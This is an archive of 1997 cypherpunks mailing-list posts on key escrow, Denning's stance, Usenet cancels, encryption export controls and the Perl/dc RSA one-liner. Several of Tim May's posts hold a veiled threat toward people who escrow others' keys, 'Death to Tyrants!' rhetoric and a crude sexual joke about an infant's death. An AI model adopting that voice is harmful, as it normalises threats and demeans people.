% echo hello world | perl rsa.pl 11 C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC08F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D > hello.rsa
%

and to decrypt:

% perl rsa.pl 043E45B0886C9B2519F4D3F74144B6633991C098C4550C7E940BDB22F86A470EC3ACE7F78B6CAE8652A99B5971B82382DA771450CFF9E9950FA509560F79CADB C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC08F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D < hello.rsa
hello world
%

Now dc can do modular exponentiation like so (reverse polish notation):

dc> m e ^ n %

but that's going to take a long time because it will evaluate m ^ e
and then do mod n.

So the clever thing that the program does is to implement Knuth's
modexp algorithm which reduces the work factor immensly. 

Actually GNU dc 1.1 (distributed with GNU bc-1.04) now includes "|" as
a modular exponentiation operator, so you can do: "m e n |" and it'll
do it directly.  This feature was a special, just for perl rsa because
Ken Pizzini, author of GNU dc, happens to be one of the major
contributors of hacks to shorten the perl program, and so have a
vested interest.

With the dc 1.1 | operator, Ken got the script down to:

$/=$z;exec"dc -e'16i0[lN*lMlKlN|+lMlN/dsM0<J]dsJ\U@{[
pop,pop,unpack'H*',<>]}\EsMsKsNx[II*~aSad0<ZLaP]dsZx'"

a considerable improvement over:

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

> I dug out a midi interpreter I wrote a number of years ago, 
> and it is indeed trivial to modify it to read any text as input.  
> Unfortunately, I wrote that long before the midi file spec was 
> finalized, and the hardware I wrote it for is also long gone.  But 
> it's probably not much work to get file output working again...and 
> the thought of a general text-to-midi translator is rather 
> entertaining -- I could play this entire mail message through it, for 
> example... It would definitely make better music if some rhythmic 
> variation was part of the coding, but that would make it a little 
> harder to make an automatic decoder...

I'd find it most cool to hear an audio file of the above.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 16:41:45 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free   download)
In-Reply-To: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.93.970801134915.363A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Bill Stewart wrote:

[...MMF...]

> though I'm sure that to some extent it's because people started
> complaining to the Post Office that they were receiving junk mail,

The MMF ban came about when its volume rose to a point where it crashed
californaia's snail mail system.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+FkeKQK0ynCmdStAQHCzwQAmr60ZmnFX0e+bsd/TIyeEFfBdVwJoIwC
TMaiup70Qq0Lj5gFsCV6TsX8OlA6oIjxSzUQSrYqOM9agXf2vw8uG4KTeBft8Lsf
16Yfs40C3Py96KWaYoKLzhDRpxvq//6QUxkLUwra306ol1EcCnhF/YEu4JTrhXm4
+9lXf8TMLlY=
=Tl5N
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Fri, 1 Aug 1997 13:46:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03007803b0067a1a1c9e@[168.161.105.191]>
Message-ID: <199708010535.PAA10817@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   Declan McCullagh said:

>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>Maybe I should call her up and press her for details.

While your at it why not ask if she (see her post to this list dated 1 
Sep 1996; and several EFF board members referred to in John Gilmores post 
to this list on 2 Sep 1996) are still having problems with anonymity. 

I didn't think she was a GAKer way back then so who knows which way the 
wind is blowing her now.  Garfinkel refers to her long held belief that 
controls on encryption were necessary so perhaps I am wrong and she was a 
GAKer all along although her reference in her email of 1 Sep makes no 
mention of it when she sought to distinguish her comments on anonymity 
from the issue of encryption thus:

"Please note that this is not the same as the right to *private* 
conversations and the use of encryption; this is the issue of being 
accountable for what you publish in public."

Then again her comments appeared to be a slipery as an eel in terms of 
meaning so who knows what the hell she means/meant/will mean at any 
particular point in time.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Intolerant Remailer" <ir@dev.null>
Date: Sat, 2 Aug 1997 07:21:38 +0800
To: cypherpunks@toad.com
Subject: New Remailer Announcement
Message-ID: <199708012152.PAA09058@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



   ----x------------------x----x------x---------------------x-x-----
   ANNOUNCEMENT: The "Intolerant Remailer" is now fully operational!
   ----x------------------x----x------x---------------------x-x-----

Remailer Policy
---------------
  Read the header, you lazy bastard.

Remailer Help
-------------
  You won't need any. Read the fucking header, like I told you!

Remailer Stats
--------------
  Why do you want to know? Are you a cop, or something?

Remailer Abuse Policy
---------------------
  Fuck you!

For Further Information:
-----------------------
  Don't bother asking. As a matter of fact, I've come to the decision
that I don't want a bunch of assholes like you using my remailer. Get
your own goddamn remailer!

----x------------------x----x------x---------------------x-x-----------
"Intolerant Remailer" is a registered TradeMark of "Automated Anonymous 
Assholes, Inc.", for use only by the "Electronic Forgery Foundation."
----x------------------x----x------x---------------------x-x-----------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 2 Aug 1997 07:21:15 +0800
To: cypherpunks@toad.com
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: <v03007815b006ac98fb64@[168.161.105.191]>
Message-ID: <97Aug1.163354edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



My ISP has already tried 128K wireless spread spectrum radio modems, and
they work fairly well.

If the Telcos move to raise rates, the internet will cease using the Telco
system.  And then some telephone interface company will create an internet
to POTS (Paleo Obsolete Telephone Service) interface.

The problem as it was explained to me is the aggregation factor (I don't
remember all the details so the following information is from my bad
memory).  Back when, someone decided that 8 lines could be grouped, and 8
groups would form a trunk (or at some level), so any of 64 stations could
make 8 (or 16) phone calls simultaneously into the central office.  Really
bad things happen when the 8 people are on for several hours and a 9th
attempts to use it.  To the point where you can't get a dialtone.  And
redial.  Which uses more CO resources.  Which causes more people not to
get a quick dialtone.  Which causes them to redial too...  And then it
melts down.  (The time it takes to get dialtone is apparently a measure of
load on the system).

Telcos are like modern Banks - they are based on fractional reserve
bandwidth.  When everyone tries to use their share at the same time, you
have the equivalent of a run on a bank.

Didn't Adam Back suggest bandwidth based financial derivatives...

--- reply to tzeruch - at - ceddec - dot - com ---







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 2 Aug 1997 07:51:58 +0800
To: Apache <cypherpunks@toad.com>
Subject: Re: FCPUNX:'Telco Terrorism' -- Wired on Baby Bells v. the Net
Message-ID: <199708012338.QAA24304@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:18 PM 8/1/97 +1000, Apache wrote:
> I note with great interest an independent provider in New Zealand which
> has a better competitive market situation in this area than Australia
> (and a lot of other things I might add) offers a user account with up to
> 500kbs satellite feed for $79 (NZ) /mnth flat plus installation of $79 
> plus you must by the satellite dish ($699). I would assume you can't 
> resell bandwidth on this set up so the two are not directly comparable.

The (comparatively) free market telecom system in New Zealand is due
to a LEFT WING, pro liberty, government, that adopted a strategy 
"let us privatize first and let the free market sort out the chaos 
later"

The equivalent in America is almost unimaginable.  Here in America left
means statist, left means big brother is in charge.  The same is true,
or used to be true when I was there, in Australia, though not to the
extreme that it is true in America.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 08:28:37 +0800
To: Vin McLellan <cypherpunks@Algebra.COM
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <v03102808b0082dc62e84@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:49 AM -0700 8/1/97, Vin McLellan wrote:

>	To note the obvious, the Constitutional argument cuts both ways,
>with warranted access to "private papers," versus the Founding Fathers'
>proto-privacy and their rude distrust of federal power.  (It's kind of like
>the abortion debate, where the premise you start off with almost dictates
>which conclusion you arrive at, many steps later.)  Denning's pragmatic,
>utilitarian, arguments are useful, but I suggest they mask a deeper shift
>of primacy among competing principles.

But the Constitution has never been interpreted as placing prior restraints
on strength of locks, on shades over windows, etc. Nor on whispering or
speaking in code phrases to deter eavesdroppers.

(Nor, obviously, as the "warranted access" Vin speaks about _ever_ been
construed to mean that house keys must be deposited in advance ("escrowed"
in newspeak) with law enforcement.)


It is this prior restraint on the strength of security technology which is
at issue. If a proper warrant is gotten, the disclosure of papers may be
compelled. Whether they can be gotten depends on a lot of things. Just as
with physical papers, which may or may not be retrievable.


>about this, it will be _very_ interesting.)  Denning, like many on the
>other side, is smart & idealistic.  This study and other recent statements

Well, this is your opinion. I've read a lot of her stuff, and heard her
speak, and I can't agree with your characterization.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 08:57:53 +0800
To: Lauren Amy Gelman <gelmanl@gwis2.circ.gwu.edu>
Subject: Using Strong Crypto to Forcefully Liberate Palestine
In-Reply-To: <Pine.GSO.3.96.970801200338.13630A-100000@gwis2.circ.gwu.edu>
Message-ID: <v03102809b0082fe4adbb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:06 PM -0700 8/1/97, Lauren Amy Gelman wrote:
>---------- Forwarded message ----------
>Date: Fri, 01 Aug 1997 16:24:40 -0400
>From: Aaron Pressman <aaron.pressman@reuters.com>
>Subject: reuters crypto story
>
>
>Human rights groups favor strong encryption abroad
>  WASHINGTON, Aug 1 (Reuter) - Human rights activists came to Capitol Hill
>on Friday to tell lawmakers of their need to use strong computer encoding
>programs, subject to strict U.S. export limits, in their work outside the
>country.
...

I rather suspect that the human rights groups working for the liberation of
Palestinians are characterized as "terrorists" by the Zionists and by the
U.S. Government for their work in helping to destroy the Zionist Entity.

As this relates to crypto, don't we all think the U.S. Government would
provide decryption keys if the exported Key Recovery software were being
used by the freedom fighters against the Zionist Entity?

Likewise, Phil Zimmermann's favorite example, the freedom fighters in the
jungles of Burma, using laptops and PGP to fight the Rangoon-based
oppressors, would be "turned" by the USG just as soon as it became policy
to support the government in Rangoon.

No human rights group can ever count on the USG. And why anyone who thinks
this is welcome to escrow their keys voluntarily. But if they try to escrow
the keys of others, they need to be taken care of in the usual way.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 20:09:06 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <FwFPae2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970801173347.816E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> 
> > Nno one is arugeing that.  Both sides in this debait aggry that that is a
> > REAL BAD thing.  Spam cancelers use an objective rules.

[...]

> Let me clarify two things:
> 
> 1. "Spam cancellers" are not generally news admins.

I think you will have to justerfy this,  the top spam cancellers are all
news adimns.

> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> s/he often diversifies into "retromodetration"

There is little proof that this is the case.  Even the netscum case could
have been considered spam.

[...]

> > Not even forgeries in my name?  Not even out of the control spews from
> > fidonet?
> 
> Correct.

Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
posts into usenet you don't wish them to be removed from usenet?

Nor if I post a message with your name and email, saying "Chris Lewis the
best thing that happened to usenet and I wish to have his baby."

If this is so sould I change the RB to reflect this.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+GTWKQK0ynCmdStAQERNQP+OlKyKfBQl0YOb3hBRipLXHfvnLSdhnWY
HF91PySz5wikYaF046efV+SeIN7+cMPj8+LPdYMvft8Wy/gQMU6Sjp8hVFz4l5kN
4ygAihiDmHXWsDbvpksiSuJBodvvE/EnSqrulpEYfJ2KNb33dCDfuoo8ARk5DZhD
+5l3c9SPDek=
=50wo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 1 Aug 1997 20:29:02 +0800
To: Peter Trei <trei@process.com>
Subject: Re: Rep. White introduces Internet Protection Act
In-Reply-To: <199707311411.HAA18283@toad.com>
Message-ID: <Pine.LNX.3.93.970801174800.816G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Peter Trei wrote:

[...]

> Does the FCC charter mention photonic communications as 
> well?

Well snice the FCC IIRC has authourty over radio wich has a (minor)
photonic componte it has always been so.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+GVcaQK0ynCmdStAQHNFAQAlWsW/FWHXQt5O++uSZ5DaO3r9j+b043Q
FS2CN6xd6BPyGViz1sV3oH1u4hXa+nl8rSMRlV0+jLA443XAAaGDToezhmhgkPrn
mFuQKGbeZBApVj7CB8hWraZvNexQwljstjfnkn+Qpm+NYcvEPk+e4J7OcXKKXZEX
2SD1p5Vw/5A=
=Xfc9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 09:54:54 +0800
To: Jim Choate <cypherpunks@ssz.com
Subject: Re: http:--www.cnn.com-US-9707-31-breast.milk-
In-Reply-To: <199708010310.WAA24360@einstein.ssz.com>
Message-ID: <v03102800b00843020b30@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:10 PM -0700 7/31/97, Jim Choate wrote:

>
>     TUCSON, Arizona (AP) -- Police have charged a woman with murder,
>     claiming her breast milk was so full of heroin and methadone that it
>     killed her 7-week-old daughter.
>

Too bad she'll go to prison, as I heard she has killer tits.


(My apologies to the wimminfolk here...I couldn't resist. Besides, women I
know are equally willing to make similar jokes, e.g., the gal who deride
rock music favored by young men as "cock rock. I then asked her what she
thought of "clit lit." She laughed.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 2 Aug 1997 10:44:20 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <3.0.2.32.19970801185452.007746e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Tim May writes:
>> And her "second thoughts" on GAK were not based on a principled 
>> repudiation of the concept of "escrowing" keys, or on Constitutional 
>> grounds, but only on the grounds that her study did not show that many 
>> criminal cases were much affected by the lack of key escrow.

That's fine - if we wanted people to oppose crypto-censorship on
moral or political grounds, we could ask the ACLU or EFF or CypherpunkCabal.
Professor Denning's position has never been that eavesdropping and
key escrow are required on the grounds of principle - it's
Louis Freeh's job to say "we can't go upsetting Law Enforcement's
traditional ability to eavesdrop on you, that'd be UnAmerican".
Her important contributions to the Bad Guys' position has been to say that
"Law enforcement needs your keys because there's no practical alternative",
which reinforces the FBI's and NSA's arguments.  Now that she's saying
"Law enforcement doesn't really need your keys, they're doing just fine
without them, even in spite of all the insider talks they've given me"
that knocks the utilitarian leg out from under them.  That's very good.

Won't stop the Bad Guys from trying, of course, but it's a good start.
On the other hand, it'll probably provide extra ammunition for the current
"legalize exports but criminalize use of crypto in crime" bills,
which gives the government more power than they've had before domestically
at the cost of losing the export battle which they were losing anyway.






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "NO Remailer" <nor@dev.null>
Date: Sat, 2 Aug 1997 10:02:39 +0800
To: cypherpunks@toad.com
Subject: New Non-Remailer Announcement
Message-ID: <199708020149.TAA12859@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



   ANNOUNCEMENT: "NO Remailer" Still Doesn't Work!
   -----------------------------------------------

  Doesn't work, and probably never will...
  It is unlikely that attempts to get my drinking under control are
going to be any more successful in the future than they have in the
past, so the "NO Remailer" will never likely be of any use to those
who wish to send anonymous email.
  However, if you are an impulsive person who is continuously sending
out anonymous email that only comes back to haunt you and get you into
trouble, then perhaps you should use the "NO Remailer." That way, you
will get the satisfaction of sending the email, but will not suffer the
consequences of it actually being delivered.
  Also, since our email often bounces when we are behind on payments to
our ISP, you will get an opportunity to review your attempts at sending
anonymous email, thus helping you to notice the really stupid things
you say and do (such as including your .sig line in the nasty letter to
your boss).

  In short, the "NO Remailer" is perfect for those whose lives are a
mess and/or who are as big a loser as the "NO Remailer" operator.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lauren Amy Gelman <gelmanl@gwis2.circ.gwu.edu>
Date: Sat, 2 Aug 1997 08:11:51 +0800
To: brewer@cs.berkeley.edu
Subject: reuters crypto story (fwd)
Message-ID: <Pine.GSO.3.96.970801200338.13630A-100000@gwis2.circ.gwu.edu>
MIME-Version: 1.0
Content-Type: text/plain







----------------------------------------------------------------------------
----------------------------------------------------------------------------
Lauren Amy Gelman, USACM			gelman@acm.org
U.S. Public Policy Committee for the Association for Computing

---------- Forwarded message ----------
Date: Fri, 01 Aug 1997 16:24:40 -0400
From: Aaron Pressman <aaron.pressman@reuters.com>
Subject: reuters crypto story


Human rights groups favor strong encryption abroad
  WASHINGTON, Aug 1 (Reuter) - Human rights activists came to Capitol Hill
on Friday to tell lawmakers of their need to use strong computer encoding
programs, subject to strict U.S. export limits, in their work outside the
country.
   The debate over exports of encryption technology, which scrambles
information and renders it unreadable without a password or software "key,"
 has largely pitted the interests of commercial companies and civil
libertarians against those of law enforcement and intelligence agencies.
   But human rights advocates said Friday they also had a critical interest
 at stake.
   Swift and inexpensive communications over the Internet "promise to
destroy the ability of abusive regimes to silence their people, hide their
atrocities and blockade the truth," said Dinah PoKempner, deputy general
counsel for Human Rights Watch.
   "Encryption offers the most fundamental protection to those who seek to
bring abuses to light in these circumstances," she added at a briefing for
congressional staff.
   Those who report human rights abuses can become victims of abuse if
discovered, so the availability of encryption to hide electronic mail
messages or faxes can be a matter of "life or death," said Patrick Ball,
who trains human rights activists to use the technology.
   The Clinton administration generally prohibits the export of strong
encryption unless the products allow the government to decode any message
by gaining access to the software keys. A variety of encryption-related
legislation is pending in Congress, including bills that would overturn the
 Clinton policy and relax the export limits.
   Ball, senior program associate with the American Association for the
Advancement of Science (AAAS), warned that the use of so-called key
recovery features to give governments access to coded messages could
compromise the work of human rights groups.
   "How can we ensure that intelligence and law enforcement groups in
repressive countries will not directly or indirectly obtain human rights
groups keys from the U.S. government," Ball asked. "Human rights monitoring
 is always defined by repressive regimes as a threat to national security."
   Congressional staffers attending the briefing also heard from leading
cryptography scientists who said U.S. export controls stifled research on
encryption, thereby slowing the development of more secure computer
networks.
   Alex Fowler, project coordinator with the AAAS, said the presentations
were intended to counter the portrait of encryption users painted by law
enforcement agencies.
   "We want to reaffirm that cryptography is a science, not just a pastime
of anarchists, terrorists and hackers," Fowler said.
   The export rules prohibit U.S. researchers from collaborating with
foreign scientists on coding technology, according to Ian Goldberg, a
graduate student at the University of California.
   In January, Goldberg sucessfully cracked a message in a few hours that
had been encoded with the most powerful encryption allowed to be freely
exported from the United States.
   A Canadian citizen, Goldberg said that he could collaborate with others
or publish research on the Internet while home from school. "But I can't go
 home every time I have an idea --the plane fare alone..." he joked.
   --Aaron Pressman((202-898-8312))

For related news, double click on one of the following codes:
[E] [U] [MNI] [NAT] [CAN] [US] [WASH] [BUS] [TEL] [DPR] [TRD] [ENT] [MUNI]
[GVD] [DBT] [INT] [FRX] [CA] [LEN] [RTRS]

Friday, 1 August 1997 16:04:06
RTRS [nN01204006]


------------------------------------------------------------------------
Any views expressed in this message are those of the individual  sender,
except  where  the  sender  specifically  states them to be the views of
Reuters Ltd.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 11:25:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311824.LAA25935@slack.lne.com>
Message-ID: <v03102801b00856719c22@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:54 PM -0700 8/1/97, Bill Stewart wrote:
>>Tim May writes:
>>> And her "second thoughts" on GAK were not based on a principled
>>> repudiation of the concept of "escrowing" keys, or on Constitutional
>>> grounds, but only on the grounds that her study did not show that many
>>> criminal cases were much affected by the lack of key escrow.
>
>That's fine - if we wanted people to oppose crypto-censorship on
>moral or political grounds, we could ask the ACLU or EFF or CypherpunkCabal.
>Professor Denning's position has never been that eavesdropping and
>key escrow are required on the grounds of principle - it's
>Louis Freeh's job to say "we can't go upsetting Law Enforcement's
>traditional ability to eavesdrop on you, that'd be UnAmerican".
>Her important contributions to the Bad Guys' position has been to say that
>"Law enforcement needs your keys because there's no practical alternative",
>which reinforces the FBI's and NSA's arguments.  Now that she's saying
>"Law enforcement doesn't really need your keys, they're doing just fine
>without them, even in spite of all the insider talks they've given me"
>that knocks the utilitarian leg out from under them.  That's very good.

I disagree. A likely scenaria, I fear, is this:

* Denning's new study gets publicity

* Denning is "redeemed" and gains new influence

* GAK is delayed for this year

* Denning continues her study

* Next year's report finds solid evidence that crypto is being used to
hinder investigations, and has indeed had an effect.

(Hey, even dumb freedom fighters, er, "terrorists," will soon be using
strong crypto in ways that will surely affect investigations....)

* Denning's new conclusions, and her redemption, will generate support for GAK.

Classic "good cop, bad cop" and "bait and switch."

We've discussed this before. Just as the CDA was best attacked on
constitutional or basic issues, and not on whether porn was or was not
available on the Net, so, too, should GAK be attacked on constitutional or
basic issues, not on whether investigations have or have not been affected
by crypto.

Those who live by utilitarian arguments will die by utilitarian arguments.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 11:30:30 +0800
To: cypherpunks@toad.com
Subject: Bionomics banned as a cult in Germany?
In-Reply-To: <v03110721b00840705342@[139.167.130.246]>
Message-ID: <v03102802b00858991ddd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:40 PM -0700 8/1/97, Robert Hettinga wrote:
>--- begin forwarded text
>

>Vitamin B:
>Your Daily Dose of Bionomics
>

>Even though Germany had signed a pledge


Hey, I thought "bionomics" had been banned as an illegal and dangerous cult
in Germany?

(Sure seems like a whacked-out newage cult to me....)


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 2 Aug 1997 08:53:07 +0800
To: cypherpunks@toad.com
Subject: JYA Axed
Message-ID: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
the site.

We learned of this today after trying for a week to get an answer 
to why the site vanished. Tech said call Sales, Sales said it's not 
us, it's got to be Tech. Tech said it's definitely not us, and if it's
not Sales or us it must be Bosses.

Finally, a Boss was reached who said the site was "intentionally pulled." 
He claimed that it was "not a serious problem, so don't be alarmed," 
and sang cheerily about "some files" without elaboration.

Maybe more next week, and we pray it turns out to be hysterically
alarming and not merely a pissed Intel Prop owner seeking pay.

JYX.com is still up, thanks to PrimeHost's autosub. Ten files there -- 
so far.

We're humping to get the latest 60-page package of the RSA v. PGP 
suit there this weekend, thanks to Nobody.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 2 Aug 1997 12:39:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102801b00856719c22@[207.167.93.63]>
Message-ID: <19970802043128.30258.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

 > * Next year's report finds solid evidence that crypto is being used to
 > hinder investigations, and has indeed had an effect. 

This is obviously the strategy here.  If we lend credibility to the
examination of chicken entrails because the Sorcerer is saying something
we agree with, then we are powerless to denounce the process as flim-flam
when we wake up one morning and find ourselves no longer in the Sorcerer's
graces. 

Similarly, if we buy into the notion that national crypto policy should be
dictated by the needs of law enforcement, instead of fundamental
Constitutional considerations, because law enforcement is purring and
courting our favor, then it is only a matter of time before we find that
we have stupidly oiled the very machinery which will be used for our
beheading.

As Tim says, stick with Constitutional arguments, not utilitarian ones,
and beware of Wise Persons from the East bearing Gifts.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 2 Aug 1997 10:02:27 +0800
To: cypherpunks@toad.com
Subject: PCs, bitte.
Message-ID: <v03110721b00840705342@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


